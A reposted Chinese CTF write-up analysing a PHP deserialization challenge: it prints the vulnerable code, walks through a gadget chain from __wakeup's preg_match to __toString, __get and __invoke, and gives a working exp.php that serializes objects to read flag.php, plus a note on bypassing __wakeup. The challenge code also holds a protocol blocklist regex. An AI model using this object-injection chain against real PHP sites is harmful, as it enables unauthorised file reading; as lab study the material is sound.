一道反序列化題的分析


題目來源

來自於prontosil師傅的文章https://prontosil.club/2019/10/20/yi-dao-fan-xu-lie-hua-ti-de-fen-xi/#more

分析

<?php
error_reporting(1);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }


    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }

    public function __toString()
    {
        $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }

    }

    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test
{

    public $p;
    public function __construct()
    {
        $this->p = array();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('index.php');
    $show->_show();
}

這篇文章是無意中手機上看到的文章,真的覺得這種構造鏈很有意思,所以自己分析了一波。跟這位師傅一樣,可能一連串的鏈已經想好如何構造了,但是就是卡在最關鍵的一步,最開始的一步如何去調用__toString()呢。下面具體來分析,原文是有注釋的,我這里刪除了。還沒看下文的師傅,自己分析一波看看,沒必要直接看分析。

分析

最初始的第一步看需要輸入的參數

 

如果存在hello字段輸入就會反序列化操作,如果不存在就會new一個show類,構造方法初始index.php,在調用_show(),輸出index.php文件

我們分析完最基礎的一步,沒什么用。主要是反序列化鏈的構造。

第一層

我們可以看到file_get(),目的就是調用Read類中的file_get讀取到flag文件。

 

我們看到test類中的__get()和Read中的__invoke()的魔術方法

 

 

 

_get魔術方法: 當訪問類中的私有屬性或者是不存在的屬性,觸發__get魔術方法

__invoke魔術方法 : 當類的一個對象被當作函數調用的時候觸發

這里就是要通過__get方法將$p賦值為new Read(),然后將Read作為函數調用就會觸發__invoke方法,將$var賦值為flag地址就可以讀到flag

那問題來了,如何去觸發__get魔術方法呢。

第二層

在Show類中,還有一個__toString()魔術方法,當類作為字符串使用時觸發__toString()

 

如果能觸發__toString的話,就可以將str['str'] new成Test類,調用source這樣Test類不存在的屬性時,就觸發了__get魔術方法

但是問題又來了,誰來觸發__toString()呢

第三層(難點)

第三層我一開始跟這位師傅一樣,完全沒有想到,__wakeup,之前做的題目一般都是需要繞過__wakeup,因為在反序列化一開始就會調用__wakeup魔術方法,所以一開始就把這個魔術方法作為需要bypass的東西,然后這卻是我們最需要利用的最開始的一步。

原因在於preg_match會將$this->source作為字符串來使用,去執行匹配。

if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }

因而如果將 source賦值一個new Show類的話,在反序列化一開始調用__wakeup,preg_match觸發__toString。這樣就達成了上述的條件。

完整的鏈

preg_match()->__tostring()->__get()->invoke()

exp

這里自己分析完寫了一個exp.php

<?php
class Read {
    public $var="flag.php";
}

class Show
{
    public $source;
    public $str;
}

class Test
{

    public $p;

}
$a=new Show(); 
$a->source=$a; //觸發__toString
$a->str['str']=new Test();
$a->str['str']->p=new Read();
echo serialize($a);

 

本地phpstudy搭建了一個環境

base64解碼得到flag

對於寫這篇文章師傅后期分析的繞過__wakeup方法,只要序列化字符串中屬性個數大於本身的類的屬性個數即可繞過,以前在哪個比賽中已經用過這個繞過。一時想不起來,以至於我一開始看到__wakeup,就覺得需要繞過,而不是去利用。😅。這道題用preg_match將變量作為字符串來觸發__toString()很有意思啊。受益匪淺,一直很喜歡這種鏈的構造。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM